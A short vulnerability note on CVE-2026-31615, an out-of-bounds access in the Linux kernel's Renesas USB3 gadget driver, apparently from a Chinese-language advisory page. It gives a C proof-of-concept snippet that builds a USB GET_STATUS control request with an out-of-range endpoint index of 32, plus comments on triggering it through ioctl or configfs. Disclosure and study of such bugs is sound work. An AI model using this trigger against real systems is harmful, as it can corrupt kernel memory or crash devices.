CVE-2026-31615 Linux内核Renesas USB3驱动越界访问漏洞

/* * PoC Concept: Sending a malicious USB Control Request * This requires a setup where the target acts as a USB Device * and the attacker acts as the Host (or triggers it locally). */ #include <linux/usb/ch9.h> #include <stdint.h> // Malicious control request structure struct usb_ctrlrequest malicious_req = { .bRequestType = USB_DIR_IN | USB_TYPE_STANDARD | USB_RECIP_ENDPOINT, .bRequest = USB_REQ_GET_STATUS, .wValue = 0, // Invalid endpoint index (e.g., 32) exceeding the array bounds .wIndex = 32, .wLength = 2 }; // Note: Exploitation typically requires a specific environment // where the Linux kernel is running the renesas_usb3 gadget driver. // Triggering this from a local context usually involves ioctl calls // to the gadget device or interacting with the configfs interface.